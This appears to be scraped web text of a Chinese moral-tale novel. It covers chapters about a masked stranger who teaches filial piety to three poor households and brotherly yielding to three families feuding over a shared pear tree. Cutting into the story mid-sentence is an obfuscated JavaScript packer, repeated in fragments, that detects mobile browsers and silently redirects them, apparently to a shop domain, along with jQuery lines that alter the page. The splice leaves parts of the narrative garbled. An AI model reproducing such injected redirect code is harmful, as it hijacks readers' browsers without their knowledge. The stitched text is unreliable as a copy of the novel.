“姑娘，哭什么？”那人问。 巧儿抬头，看见蒙着的脸，吓了一跳，后退两步。 “我、我没事……”她抹了把泪，想绕开。 “你娘瘫了几年了？”那人忽然问。 巧儿一愣：“三、三年……” “三年，你伺候了三年，不容易。”那人顿了顿，“可三年，就厌了？” 巧儿脸一白：“我没有！” “没有，为什么三天不着家？为什么穿这身衣裳回来？为什么想嫁那个李掌柜？”那人声音很平，可字字都像针，“因为他有钱？因为嫁过去不用伺候瘫子娘？” 巧儿浑身发抖：“你、你胡说！” “我胡说？”那人笑了，“香九龄，能温席。孝于亲，所当执。你几岁了？” “……十九。” “十九了，还不如一个九岁的孩子。”他叹口气，“黄香九岁，就知道冬天给爹娘暖被窝。你十九岁，却想着甩了你娘，去过好日子。你的心，是石头做的么？” 巧儿哭了，是真哭，不是装的。 “李掌柜今年五十有二，死了三个老婆。你嫁过去，是第四个。他图你年轻，你图他有钱。等你不年轻了，他再娶第六个、第七个。你呢？那时候，你娘早不在了，你连哭的地方都没有。” 巧儿瘫坐在地上，新衣裳沾了灰。 “你娘瘫了三年，你伺候了三年，苦，我知道。”那人声音软下来，“可这世上，有些苦，必须吃。有些累，必须扛。因为那是你娘，生你养你的娘。” 他从怀里掏出个小瓷瓶，放在地上。 “这是止痛的药膏，给你娘揉膝盖。她夜里疼，你给她揉，揉到她睡着。做得到，明日此时，我再来。做不到——” 他顿了顿：“你就嫁吧。嫁了，这辈子，你就没娘了。” 说完，他走了，破毡帽在风里一颤一颤。 巧儿坐在地上，哭了很久。哭完了，她爬起来，打水，洗脸，把新衣裳换下来，穿上旧布衫。她走进屋，跪在炕前。 “娘，我错了。” 老赵婆子没睁眼，可眼泪从眼角流下来。 巧儿掀开被子，娘的膝盖肿得发亮。她倒出药膏，在手心里焐热了，轻轻揉上去。娘哆嗦了一下。 “娘，疼么？” “不疼……”老赵婆子说，声音是哑的。 巧儿揉着，揉着，眼泪又掉下来，掉在娘的膝盖上。娘伸出手，摸着她的头。 “巧儿……” “娘，我不嫁了。我伺候您一辈子。” 那天夜里，巧儿真的睡在娘身边。她抱着娘的脚，脚是冰的，她焐着。娘疼，她给揉。娘要起夜，她扶着。一夜没合眼。 天快亮时，娘睡着了。巧儿看着娘花白的头发，看着娘瘦得脱形的脸，忽然想起小时候，娘也是这样抱着她，她发烧，娘一夜没睡。 她哭了，但没出声，只是眼泪一直流，流进嘴里，咸咸的。 四、 青石巷的暖 腊月廿三，小年。青石巷里飘出炖肉的香味。 王家的小栓学会了熬粥，学会了煎药，夜里还给爷爷焐脚。老王头咳得少了，脸上有了血色。他糊了个兔子灯，给小栓玩。小栓不要，说：“爷爷，等我长大了，赚钱给您买真的兔子。” 刘家的炕烧得热热的，刘二狗戒了赌，在码头找了份正经活。每天回来，先给爹熬药，再做饭。刘老栓能下炕了，扶着墙能走几步。他摸着儿子的头，说：“二狗啊，爹拖累你了。”刘二狗哭了，说：“爹，是儿子不孝。” 赵家的巧儿退了李掌柜的婚事，专心伺候娘。她手巧，接了些针线活，夜里就着油灯做。老赵婆子的腿有了知觉，能坐起来了。她摸着闺女的手，说：“巧儿，娘耽误你了。”巧儿摇头，说：“娘，咱娘俩在一块，比啥都强。” 这天傍晚，那个白衣人又来了青石巷。他没进任何一家，只坐在巷口的石碾子上，看着三家的烟囱冒出白生生的烟。 小栓第一个看见他，跑过来，把手炉递还给他：“先生，炭还有，还您。” 那人接过，摸摸他的头：“爷爷好些了？” “嗯！夜里不咳了！” 刘二狗也来了，递过一个布包，里面是三两银子：“先生，药钱还剩这些，还您。” 那人接过，掂了掂：“爹好些了？” “能下炕了！”刘二狗眼睛亮晶晶的。 巧儿也来了，递回那个小瓷瓶：“先生，药膏还剩半瓶，还您。” 那人接过，问：“娘好些了？” “腿有知觉了！”巧儿脸上有了笑模样。 那人点点头，把三样东西收好，起身要走。 “先生！”三人齐声喊。 那人回头。 “您……您到底是谁？”刘二狗问。 “过路的。” “那……那我们还能再见您么？” 那人想了想，从怀里掏出三个小小的、用红纸叠的“福”字，一人给了一个。 “等你们的孩子长大了，教他们‘香九龄，能温席’。等他们做到了，我再来收这个‘福’字。” 小栓问：“先生，您没孩子么？” 那人顿了顿，说：“有。天下人，都是我的孩子。” 说完，他走了。破毡帽在暮色里一晃一晃，渐渐看不见了。 三人捧着“福”字，你看我，我看你。 “我一定教我孩子。”小栓说。 “我也是。”刘二狗说。 “我也是。”巧儿说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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没人回答。窗外飘起雪，雪花落在窗纸上，沙沙的。 忽然，门开了。 还是那顶破毡帽，那身洗得更灰的棉袍，那块麻布。只是背有点驼了，走路有点慢。 三人站起来，三个孩子也跟着站起来。 那人走到桌边，看着三个“福”字，点点头：“教得好。” 小栓深深一揖：“先生，当年教诲，不敢忘。” 刘二狗、巧儿也跟着行礼。 那人摆摆手，坐下，自己倒了杯酒：“说说，怎么教的。” 小栓先说：“我教念祖，孝顺不是嘴上说，是手上做。爷爷脚冷，他焐脚；爹娘累了，他捶背。九岁了，没让我们操过心。” 刘二狗说：“我教儿子，孝顺不是给钱，是陪着。我爹最后那两年，我天天陪他说话，给他洗脚。我儿子现在，每天放学回来，先给我倒茶。” 巧儿说：“我教诲亲，孝顺不是负担，是福气。我娘瘫了六年，我伺候了六年，不觉得苦，只觉得还能伺候娘，是福分。念亲现在，给我梳头，给我洗脚，说是‘报答娘的养育恩’。” 那人静静听着，等三人说完，又看向三个孩子。 “你们知道‘香九龄，能温席’的故事么？” 念祖抢着说：“知道！黄香九岁，冬天给爹娘暖被窝！” 刘二狗的儿子说：“先生教过，孝于亲，所当执。孝顺爹娘，是天经地义的。” 念亲小声说：“我娘说，孝顺是心里有爹娘，手里有行动。” 那人笑了，笑声很暖。 “好，好。”他说，从怀里掏出三个小小的、用金纸叠的“寿”字，一人给了一个，“这个，给你们的孩子。等他们有了孩子，教他们‘香九龄，能温席’。等教到了，我再来收。” 三人接过“寿”字，眼眶都湿了。 “先生……”小栓想问什么，又不知从何问起。 那人站起身，走到门口，回头。 “我走了。这‘福’字，我收了。” 他拿起三个褪色的“福”字，小心地揣进怀里，推门出去。雪下大了，他的背影在雪里渐渐模糊，最后变成一个灰点，消失在巷子尽头。 三人追出去，雪地上留下一串脚印，浅浅的，很快被新雪盖住了。 他们站在雪里，站了很久。念祖忽然说：“爹，那位老爷爷，是神仙么？” 小栓摸摸儿子的头：“是教人孝顺的人。” “那他还会来么？” “会。”小栓说，“等你的孩子长大了，孝顺你的时候，他还会来。” 雪越下越大，青石巷的青石上积了厚厚一层白，像铺了层暖和的棉被。 尾声温席谣 很多年后，青石巷改名叫“孝义巷”。巷子口立了块木牌，上面刻着两行字： 香九龄，能温席。孝于亲，所当执。 常有外乡人问：“这牌子谁立的？” 巷里的老人会说：“是三家苦命人立的。他们啊，年轻时不懂事，后来懂了，就立了这牌子。” “为的啥？” “为的让后来的孩子都懂——孝顺爹娘，天经地义。” 腊月里，巷子的孩子都会唱一首童谣： 青石巷，有三家， 王家刘家赵老家。 香九龄，能温席， 孝于亲，所当执。 小栓学孝焐爷脚， 二狗悔过孝爹亲。 巧儿回头孝瘫母， 三人皆从温席起。 若问先生何处去， 风雪夜里收福字。 有个游方的郎中路过，听了这童谣，去问灯笼店的老板——当年的小栓，如今也当爷爷了。 “老丈，这童谣里的先生，可是位神医？” 小栓正在扎一盏走马灯，闻言停下手，望着窗外的雪。 “是位教人暖和的人。”他说。 “暖和？” “嗯。”小栓说，“人心冷了，他给焐热；家里冷了，他给添柴；世道冷了，他给点亮一盏灯。” 郎中似懂非懂。临走时，小栓送了他一盏小灯笼，说：“路上黑，照着亮。” 郎中道了谢，提着灯笼走出巷子。灯笼光昏黄，在雪地上投下一圈暖晕。他回头，看见小栓还站在店门口，望着飘雪的天空。雪落在灯笼上，簌簌的，像谁在轻轻说话。 也许那位先生，正在某个风雪夜，收着另一些“福”字吧。郎中想。 他提了提灯笼，光更亮了。雪还在下，可心里，暖暖的。 本章诫世 一、 温席二训 - 香九龄，能温席 - 孝于亲，所当执 - 破解法：为人子女，自问“可曾温席？可曾暖亲？”；为人父母，自问“可曾教孝？可曾身教？” 二、 三家三寒 - 王家寒在“无知”——子不知孝，如冰坨冷心 - 刘家寒在“无行”——子不孝亲，如白眼寒心 - 赵家寒在“无心”——女不念亲，如攀枝离心 - 惕世：多少子女视亲为累？多少子女待亲如冰？多少子女离心离德？皆不孝也 三、 孝亲大道 - 深层隐喻：孝如炭火，可暖寒室。一室不暖，何以暖天下？一家不孝，何以孝天下？ - 终极指向：治国平天下，在敦人伦。敦人伦，首在孝亲。亲不孝，则伦不敦；伦不敦，则天下乱 温席偈： 青石巷里三家寒，不孝不暖各凄然。 小栓不知孝爷亲，寒冬腊月不温席。 二狗不孝赌徒子，老爹病卧不顾问。 巧儿不念瘫母恩，只思攀枝弃娘亲。 三家寒透不自知，白衣点破温席理。 十年尽孝方知暖，三人皆从孝道起。 后世叹： 香九龄，能温席，孝于亲，所当执。 小栓不知孝爷亲，二狗不孝赌徒子。 巧儿不念瘫母恩，三家寒透各凄然。 白衣现身风雪夜，点破孝道十年暖。 正是： 市井巷陌三家寒，不孝不亲各凄然。 小栓不知孝爷亲，二狗不孝赌徒子。 巧儿不念瘫母恩，皆因不晓温席理。 白衣点破孝亲道，十年尽孝暖巷间。 香九龄兮能温席，孝于亲兮所当执。 89.让梨谳 楔子·三户争梨 东市有条甜水巷，巷口有口老井，井水甘甜，四邻都来汲水。井旁有棵歪脖子梨树，不知长了多少年，年年开花，岁岁结果，结的梨子又大又甜。 这树是巷里三户人家共有的——东头卖油的钱家，西头卖布的孙家，中间开茶馆的吴家。早些年三家处得好，梨熟了，你送我几个，我送你几个，倒也和睦。可自从老辈人过世，小辈掌了家，这梨树就成了祸根。 钱家的儿子钱串子，今年二十八，继承了油铺。人如其名，眼里只有钱串子。每年梨子将熟，他就搬个梯子，把向阳的、个大的梨子全摘了，留些青的、小的给那两家。孙家的儿子孙尺头，今年二十六，接了布庄。他是个“寸土不让”的主儿，见钱串子摘大梨，他就夜里偷偷上树，把剩下能看的梨也摘了。吴家的闺女吴茶香，今年二十四，爹死后接了茶馆。她倒不争梨，可架不住两个哥哥不省心——大哥吴大碗是衙门里的书办，二哥吴二勺是酒楼的掌勺，都是厉害角色。见两家欺负妹子，便放了话：“梨树是三家共有，谁敢独占，衙门里说话！” 于是每年秋天，甜水巷总要闹几场。今年更甚，梨子刚挂果，三家就吵开了。 钱串子说：“这树靠我家墙近，根在我家地里扎着，理当我家多分！” 孙尺头说：“放屁！树枝大半伸到我院里，果子该归我！” 吴茶香不吭声，她两个哥哥却卷了袖子。吴大碗说：“有文书为证，三分均分！”吴二勺说：“谁敢动我妹子的梨，我剁了他的手！” 这是天顺三年的七月，梨子还青着，可三家的火气，已经熟透了。 一、 钱家的“算盘精” 钱串子这日起了个大早，搬了梯子，拿着竹竿，想把伸到孙家院里的那枝梨树勾过来些。正勾着，墙头上坐了一人。 来人戴着一顶旧草帽，帽檐破了边。身上是件半旧不新的葛布短衫，洗得发白，袖口用布条扎着。腰里悬一柄木剑，剑柄磨得油亮。脸上蒙着块粗夏布，布是灰黄的，像是被日头晒褪了色。 “掌柜的，这么早，摘梨呢？”声音平平的，听不出年纪。 钱串子吓了一跳，差点从梯子上摔下来。定睛一看，是个生人，没好气道：“关你什么事？去去去！” 那人也不恼，从怀里掏出个梨——不是青的，是黄澄澄熟透的梨，有碗口大。 “我这儿有个梨，掌柜的看看，比你树上的如何？” 钱串子眼睛一亮：“嗬，好梨！哪儿来的？” “让来的。”那人说。 “让？谁让的？” “我有个朋友，他家也有棵梨树，比你这棵还大。每年结果，他摘最大的给邻居，次大的给路人，最小的留给自己。我问他为什么，他说——融四岁，能让梨。我三十多了，还不如个孩子么？” 钱串子嗤笑：“你朋友是个傻子！自家的梨，凭什么让给别人？” 那人咬了口梨，汁水淋漓：“那掌柜的，这梨树是你自家的么？” “这……”钱串子语塞。 “不是吧。”那人跳下墙头，走到树下，仰头看，“这树，钱家一份，孙家一份，吴家一份。你摘了大的，孙家摘了中的，吴家摘了小的——是不是这个理？” 钱串子脸一红：“你、你管得着么！” “我管不着。”那人把吃剩的梨核埋进土里，“可老天管得着。你看这梨树，为什么一年比一年结果少？因为它伤心了。” “树还会伤心？” “怎么不会？”那人拍拍树干，“它本想着，我好好结果子，让三家人都甜甜嘴。可你们呢？抢，偷，吵。它一想，算了，不结了，结多了反而生事。所以越结越少，越结越小。” 钱串子愣了愣，抬头看树。确实，往年这时候，梨子已经压弯了枝，今年却稀稀拉拉的。 “你胡扯！”他嘴硬。 “我胡扯？”那人笑了，“那你告诉我，为什么你爹在时，这树结的梨又多又甜？为什么你爹每年都先把最大最甜的梨，送给孙家吴家？” 钱串子不说话了。他记得，爹在时，每年梨熟，总要挑一篮最大的，让他送去孙家，再挑一篮，送去吴家。孙家回一匹布，吴家回一包茶。三家坐在井台上，分梨吃，说说笑笑。 “你爹说过一句话。”那人看着他，“梨是死的，人是活的。为了死的梨，伤了活的人，不值当。” 钱串子手里的竹竿，“当啷”掉在地上。 “融四岁，能让梨。悌于长，宜先知。”那人慢慢念出这两句，“意思是，孔融四岁就知道把大梨让给哥哥。敬爱兄长，友爱兄弟，这个道理，应该早早知道。” 他顿了顿：“你今年二十八了，还不如个四岁的孩子？” 钱串子脸上火辣辣的。 “梨，是吃的。情分，是一辈子的。”那人从怀里又掏出个梨，放在井台上，“这个给你。想想，是吃独食甜，还是分着吃甜。” 说完，他走了，草帽在晨光里一晃一晃。 钱串子站在树下，站了很久。太阳升起来，照在梨树上，青梨子泛着光。他忽然想起爹临终前的话：“串子啊，做人……别太算计。” 他弯腰捡起那个梨，黄澄澄的，真好看。 那天，钱串子没摘梨。他搬了把椅子，坐在树下，看了一天。 二、 孙家的“寸光眼” 孙尺头这日关了铺子，正在院里晾布。一匹匹青布、蓝布、花布，在夕阳下飘飘扬扬。他满意地看着，盘算着这匹卖多少钱，那匹换多少米。 忽然，一匹布后面钻出个人来。 还是那顶破草帽，那身葛布衫，那块灰黄的夏布蒙着脸。 “掌柜的，好手艺。”那人说。 孙尺头吓一跳，定睛一看，是个生人，皱眉道：“你是谁？怎么进来的？” “走进来的。”那人指了指院墙，“掌柜的，你这墙该修修了，有个窟窿。” 孙尺头脸一沉：“关你什么事？出去！” “不忙。”那人走到梨树下，仰头看，“这梨树，真精神。可惜啊，生了虫。” “生虫？”孙尺头忙过来看。 “你看这叶子，卷的；这枝子，枯的。”那人指指点点，“是心虫。心坏了，树就完了。” 孙尺头细看，果然，有几枝叶子卷曲发黄。他急了：“这可怎么好？我还指着今年多结几个梨，卖点钱呢！” “卖钱？”那人笑了，“掌柜的，这梨树，是你的么？” “当然……是三家共有的。” “三家共有，你却想着独卖，这心，是不是虫？” 孙尺头脸一红，强辩道：“我、我又没独吞！我只是……只是想多分点！” “多分点？”那人摇摇头，“融四岁，能让梨。你今年二十六了，还要跟四岁的孩子学么？” 孙尺头噎住了。 那人从怀里掏出个小布包，打开，是几颗梨核，已经发了芽，冒出小小的绿苗。 “这是我种的。”他说，“一棵梨树，种了三年，今年结了七个梨。我摘了，给邻居三个，给路人两个，自己留了两个。邻居回我一碗面，路人回我一句谢。我自己吃梨时，觉得特别甜。” 孙尺头愣愣地看着那几棵小苗。 “你知道为什么甜么？”那人问。 “……为什么？” “因为分着吃的梨，比独吞的甜。”那人把小苗递给他，“这几棵送你。种在院里，等结果了，分给钱家、吴家尝尝。” 孙尺头不接：“我、我凭什么给他们？” “凭这梨树是三家共有的，凭你们是几十年的老邻居，凭你爹和他爹、他爹一起栽的这棵树。”那人声音很平，但每个字都像锤子，敲在孙尺头心上。 孙尺头想起小时候。那时梨树还小，他爹和钱串子他爹、吴茶香他爹，三个老汉坐在树下，说这树是给他们三家的孩子栽的。“等树长大了，结果了，你们分着吃，永远别红脸。” 可后来，树长大了，他们却红脸了。 “你爹临走前，拉着你的手，说的什么？”那人忽然问。 孙尺头浑身一颤。爹说：“尺头啊，布要量着裁，人要让着处。尺，是量布的，也是量心的。” 他当时没懂，现在，好像懂了一点。 “融四岁，能让梨。悌于长，宜先知。”那人慢慢念，“敬爱兄长，友爱兄弟，这个道理，应该早早知道。你现在知道，也不晚。” 他把小苗塞进孙尺头手里，走了。 孙尺头捧着那几棵小苗，站在夕阳里。小苗嫩嫩的，绿绿的，像小时候，他、钱串子、吴茶香，三个孩子在树下玩泥巴。 那天夜里，孙尺头没睡好。他爬起来，点灯，修墙。不是补那个窟窿，是把墙头削矮了三尺。 三、 吴家的“护犊子” 吴茶香这日在茶馆抹桌子，两个哥哥又来了。吴大碗拍着桌子：“妹子你别怕！钱串子再敢偷梨，我去衙门告他！”吴二勺挥着勺子：“孙尺头再敢夜里摘，我剁了他的爪子！” 吴茶香叹气：“哥，算了吧。几个梨，值当么？” “怎么不值当？”吴大碗瞪眼，“那是咱家的梨！” “就是！”吴二勺附和，“欺负我妹子，就是欺负我！” 正吵着，门口进来一人。 还是那顶破草帽，那身葛布衫，那块灰黄的夏布。这次，他手里端着个茶碗。 “掌柜的，讨碗茶。”他说。 吴茶香忙去倒茶。吴大碗吴二勺瞪着这人，眼神不善。 那人接过茶，却不喝，看着吴大碗：“这位是吴书办吧？听说在衙门高就。” 吴大碗挺挺胸：“正是！” “那正好。”那人放下茶碗，“我有个案子，想请教吴书办。” “什么案子？” “三人共有一树，甲摘大梨，乙摘中梨，丙摘小梨。请问，这案子该怎么判？” 吴大碗一愣，随即道：“这有何难？按律，共有之物，当均分。甲多占，当罚；乙次之，当诫；丙吃亏，当补。” “判得好。”那人点头，“那若是甲、乙、丙三人，本是一起长大的邻居，父辈有交情，儿时有情分，这又该怎么判？” 吴大碗皱眉：“这与案情何干？” “怎么无干？”那人笑了笑，“法理不外乎人情。判案，不仅要合法，还要合情，合理。” 吴二勺插嘴：“你谁啊？在这胡扯！” 那人看向他：“这位是吴师傅吧？听说在酒楼掌勺。” “怎样？” “那我请教吴师傅，一锅汤，盐多了，怎么办？” “加水啊！” “水多了呢？” “加料啊！” “那若是盐也多了，水也多了，料也多了，一锅汤成了杂烩，怎么办？” 吴二勺语塞。 “倒掉重做。”那人自己答了，“可有些东西，倒掉了，就回不来了。比如情分。” 吴茶香手一颤，茶壶差点掉了。 “吴姑娘。”那人转向她，“你两个哥哥护着你，是好事。可护过头了，就成了祸事。” 吴茶香低头：“先生的意思是……” “梨是小事，情分是大事。”那人说，“为几个梨，坏了三家的情分，值么？你爹在时，和钱家孙家处得如何？” 吴茶香眼圈红了。爹在时，三家好得像一家。钱家送油，孙家送布，自家送茶。谁家有难，另两家都帮。爹走时，钱叔孙叔守了三天灵。 “融四岁，能让梨。悌于长，宜先知。”那人缓缓念出，“敬爱兄长，友爱兄弟，这个道理，应该早早知道。你们三家的孩子，本如兄弟姊妹。可现在呢？为几个梨，剑拔弩张。这是敬爱么？这是友爱么？” 吴大碗吴二勺不说话了。 “你两个哥哥护你，是怕你吃亏。可他们忘了，情分上吃亏，才是占便宜；钱财上占便宜，才是真吃亏。”那人从怀里掏出三个梨，黄澄澄的，一般大小，放在桌上。 “这三个梨，我匀过分，一样大。你们兄妹三人，分着吃。吃完想想，是甜在嘴里，还是甜在心里。” 他起身，走到门口，又回头：“吴姑娘，你是明白人。劝劝你哥哥，也劝劝自己。梨树还在，情分要是断了，就接不回来了。” 说完，走了。 吴茶香看着那三个梨，眼泪掉下来。吴大碗吴二勺你看看我，我看看你，都低下了头。 那天晚上，吴家兄妹三人，分吃了三个梨。很甜，甜到心里。 四、 甜水巷的秋 八月十五，中秋。梨子熟了，黄澄澄的挂满枝头。今年奇了，梨子格外多，格外大，把树枝都压弯了。 钱串子起了个大早，搬了梯子，拿着竹篮。孙尺头也起了个大早，搬了梯子，拿着竹篮。吴茶香也起了个大早，拿着竹篮。 三人在梨树下碰上了，都有些尴尬。 钱串子先开口：“今年……梨真多。” 孙尺头点头：“是啊，真多。” 吴茶香小声说：“两位哥哥，今年……还吵么？” 钱串子和孙尺头对看一眼，都笑了。 “不吵了。”钱串子说，“我摘些大的，给孙兄弟吴妹妹尝尝。” “我也摘些大的，给钱大哥吴妹妹尝尝。”孙尺头说。 吴茶香眼圈一红：“我、我摘些中的，给两位哥哥泡茶。” 三人笑了，笑着笑着，都擦了擦眼角。 他们一起摘梨，摘了三大篮。钱串子把最大最甜的挑出来，分成三份，一份给孙家，一份给吴家。孙尺头也把最大最甜的挑出来，分成三份，一份给钱家，一份给吴家。吴茶香把最好的茶叶拿出来，泡了三壶茶。 中午，三家聚在井台上。钱串子带了油饼，孙尺头带了糕点，吴茶香泡了茶。孩子们在树下追逐嬉戏，大人们分梨吃茶。 “这梨真甜。”钱串子说。 “是啊，从没吃过这么甜的梨。”孙尺头说。 “因为分着吃，所以甜。”吴茶香说。 正说着，那人来了。 还是那顶破草帽，那身葛布衫，那块灰黄的夏布。只是手里多了个竹篮，篮里是黄澄澄的梨。 “三位，分梨呢？”他笑。 三人忙站起来：“先生！” 那人摆摆手，坐下，自己拿了个梨，咬了一口：“嗯，是甜。” 钱串子说：“先生，多亏您点醒我们。” 孙尺头说：“是啊，不然我们还糊涂着呢。” 吴茶香说：“先生，喝茶。” 那人接过茶，喝了一口，点点头：“茶也好。”他看看三家的人，看看树上的梨，看看井台上的欢笑，说：“融四岁，能让梨。你们现在让的，不只是梨。” 三人肃然。 “让的是利，得的是和。让的是小，得的是大。”那人从怀里掏出三个小小的、用梨木刻的“和”字挂坠，一人给了一个。 “这个，给你们。挂在心上，挂在门上。记住，家和万事兴，邻和百事顺。” 三人接过，郑重地挂在脖子上。 “先生，”钱串子问，“您到底是谁？” “我？”那人想了想，“我是个过路的，看你们分梨，馋了，来讨个梨吃。” 三人都笑了。 那天，他们在井台坐到太阳西斜。梨树在夕阳下镀了一层金，梨子黄澄澄的，像一个个小太阳。 临走时，那人说：“这梨树，好好待它。它结的不是梨，是情分。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128630|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 三人重重点头。 那人走了，草帽在夕阳里晃啊晃，晃成一个小小的光点。 五、 十年后的“和”字 天顺十三年，中秋。甜水巷的梨树更粗了，枝叶如盖，遮了半条巷。 钱家的油铺扩大了三倍，钱串子成了钱掌柜，但他每天还是亲自打油。他的儿子钱小宝，今年九岁，每天最开心的事，就是给孙家吴家送油——孙家布庄的伙计穿的衣服，都是钱家油铺供的油点灯做的；吴家茶馆的桌子，都是钱家油铺的油擦亮的。 孙家的布庄开了分号，孙尺头成了孙老板，但他每天还是亲自量布。他的女儿孙小布，今年八岁，手巧，会绣花，绣的帕子送给钱家吴家的姑娘。钱家姑娘的头绳，吴家姑娘的荷包，都是她绣的。 吴家的茶馆变成了茶楼，吴茶香成了吴掌柜，但她每天还是亲自泡茶。她的养子吴小茶，今年十岁，懂事，每天给钱家孙家送新茶。钱掌柜算账时喝的茶，孙老板量布时喝的茶，都是他送的。 今年梨子又熟了，比往年更多。三家一起摘，摘了十大筐。钱串子说：“老规矩，分成三份，一家一份。”孙尺头说：“不，分成四份，多的一份，给巷里的孤寡老人。”吴茶香说：“好，我去送。” 他们正在分梨，巷子口来了个人。 还是那顶破草帽，只是更破了。还是那身葛布衫，只是补丁更多了。还是那块灰黄的夏布，只是洗得更薄了。腰间的木剑，柄磨得能照见人影。 三人看见，忙迎上去：“先生！” 那人笑了，笑声沙哑：“还认得我？” “认得！一辈子都认得！”钱串子说。 孙尺头说：“先生，吃梨！今年的梨，特别甜！” 吴茶香已经泡好了茶：“先生，喝茶。” 那人在井台边坐下，接过梨，接过茶，慢慢吃，慢慢喝。吃完了，喝完了，说：“甜。” 钱串子从怀里掏出那个梨木“和”字挂坠，已经戴得油亮：“先生，您看，我一直戴着。” 孙尺头、吴茶香也掏出来，三个“和”字，在阳光下闪着温润的光。 “戴得好。”那人点头，“和字在心上，万事和顺。” “先生，”钱串子问，“您这十年，去了哪儿？” “走了些地方，看了些人。”那人说，“有兄弟争产的，有邻里争地的，有朋友争利的。看得多了，就想，要是他们小时候学过‘融四岁，能让梨’，会不会就不争了？” 三人沉默。 “融四岁，能让梨。悌于长，宜先知。”那人缓缓念，“敬爱兄长，友爱兄弟，这个道理，应该早早知道。知道了，做到了，一家和，一巷和，一城和，天下和。” 他看着三个孩子——钱小宝、孙小布、吴小茶，正蹲在树下分梨。你让我，我让你，最后一人捧着一个，笑嘻嘻地啃。 “他们做到了。”吴茶香轻声说。 “是你们教得好。”那人说。 他从怀里掏出三个小小的、用梨核磨的“让”字珠子，用红绳串着，递给三个孩子。 “这个，戴着。等你们长大了，有了孩子，教他们‘融四岁，能让梨’。等他们做到了，我再来收。” 三个孩子恭恭敬敬接过，戴在脖子上。 “先生，”钱小宝大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个爱看人分梨的人。” “那……您还会来看我们分梨么？” “会。”那人站起身，“等这棵树老得结不动梨了，等你们的孩子的孩子，还在树下分梨的时候，我还会来。” 他走了，沿着甜水巷，慢慢地走。夕阳把他的影子拉得很长，长得像这十年的光阴。 三人送他到巷口，看着他消失在夕阳里。钱串子忽然说：“你们说，先生到底多大年纪了？” 孙尺头说：“看不出来。十年前就这样，十年后还这样。” 吴茶香说：“神仙都是这样的吧。” 他们回到井台，梨树在风里沙沙响，像在笑。 尾声让梨谣 很多年后，甜水巷改名叫“让梨巷”。巷子口的井台上，刻了十二个字： 融四岁，能让梨。悌于长，宜先知。 常有外乡人问：“这字谁刻的？” 巷里的老人会说：“是三家人刻的。他们啊，为梨吵过，后来不吵了，就和好了。” “为的啥？” “为的让后来的孩子都懂——兄弟让，邻里和。” 中秋夜，巷里的孩子都会唱一首童谣： 甜水巷，梨树青， 三家分梨闹不停。 钱串子，摘大梨， 孙尺头，夜里偷。 吴茶香，哥来护， 三家争吵不肯休。 白衣先生来点化， 融四岁，能让梨。 悌于长，宜先知， 三家让梨和如初。 有个游学的画师路过，听了这童谣，去问油铺的老掌柜——当年的钱串子，如今白发苍苍了。 “老丈，这童谣里的先生，可是位画中仙人？” 钱串子正在教孙子打算盘，闻言停下手，望着窗外的梨树。 “是位教人分梨的人。”他说。 “分梨？” “嗯。”钱串子说，“梨好分，心难让。他教人让心，心让了，梨就好分了。” 画师似懂非懂。临走时，钱串子送了他一壶油，说：“画画的，灯要亮。” 画师道了谢，提着油壶走出巷子。夕阳西下，梨树的影子斜斜地铺在青石路上，像一幅淡淡的水墨画。他回头，看见钱串子站在梨树下，仰头看着满树的梨。有风吹过，梨子轻轻晃动，像在点头。 也许那位先生，正在某个地方，看人们分梨吧。画师想。 他提起笔，在画板上勾勒。画一棵老梨树，树下三个人，三个孩子，在分梨。梨是黄的，人是笑的，天是蓝的。 画题就叫：《让梨图》。 本章诫世 一、 让梨二训 - 融四岁，能让梨 - 悌于长，宜先知 - 破解法：为人兄弟，自问“可曾让梨？可曾敬长？”；为人邻里，自问“可曾让利？可曾求和？” 二、 三家三争 - 钱家争在“贪利”——见利忘义，独占为先 - 孙家争在“暗算”——暗中算计，寸土不让 - 吴家争在“恃强”——恃兄逞强，以势压人 - 惕世：多少兄弟因利成仇？多少邻里因小生隙？多少情分为利所断？皆不让也 三、 悌长大道 - 深层隐喻：悌如梨实，愈分愈甜。一梨不让，何以让天下？一利必争，何以平天下？ - 终极指向：治国平天下，在敦和睦。敦和睦，首在悌长。长不悌，则家不和；家不和，则国不宁 让梨偈： 甜水巷里三家争，为梨吵闹不肯停。 钱家贪利摘大梨，孙家暗算夜里偷。 吴家恃强兄护短，三家争吵无休止。 白衣现身点迷津，融四岁能让梨兮。 悌于长宜先知兮，三家让梨和如初。 后世叹： 融四岁，能让梨，悌于长，宜先知。 钱家贪利忘旧谊，孙家暗算失本心。 吴家恃强伤和气，三家争梨各逞强。 白衣点破让梨理，十年和睦甜如梨。 正是： 市井巷陌三家争，为梨失和闹不停。 钱贪孙算吴恃强，皆因不晓让梨理。 白衣点破悌长道，十年让梨巷更甜。 融四岁兮能让梨，悌于长兮宜先知。 90.数文谳 楔子·三家教子 江南水乡有处芙蓉镇，镇子不大，一条小河穿镇而过，两岸皆是人家的后窗，推窗可见乌篷船悠悠摇过。河上有三座石桥，恰将镇子分作三段：东桥头是算盘李家，西桥头是书篓王家，中间是笔架张家。 这三家，是镇上最有名的“教子”人家。 李家世代做账房，算盘打得噼啪响。当家的李金斗，四十出头，打得一手好算盘，人称“铁算盘”。他教子，只教算数：“学那些劳什子诗文有何用？能当饭吃？学好算数，将来接我的班，给人管账，银子哗哗来！”儿子李算盘，十岁，九九表倒背如流，可让他背《千字文》，磕磕巴巴像嘴里含了枣。 王家世代卖书，满屋书香。当家的王墨林，是个老秀才，考了三十年没中举，索性开了书铺。他教子，只教诗文：“万般皆下品，惟有读书高！算数？那是商贾小道！吾儿当读圣贤书，将来金榜题名，光宗耀祖！”儿子王文昌，十一岁，《论语》倒背如流，可让他算个油盐账，十个手指头不够用。 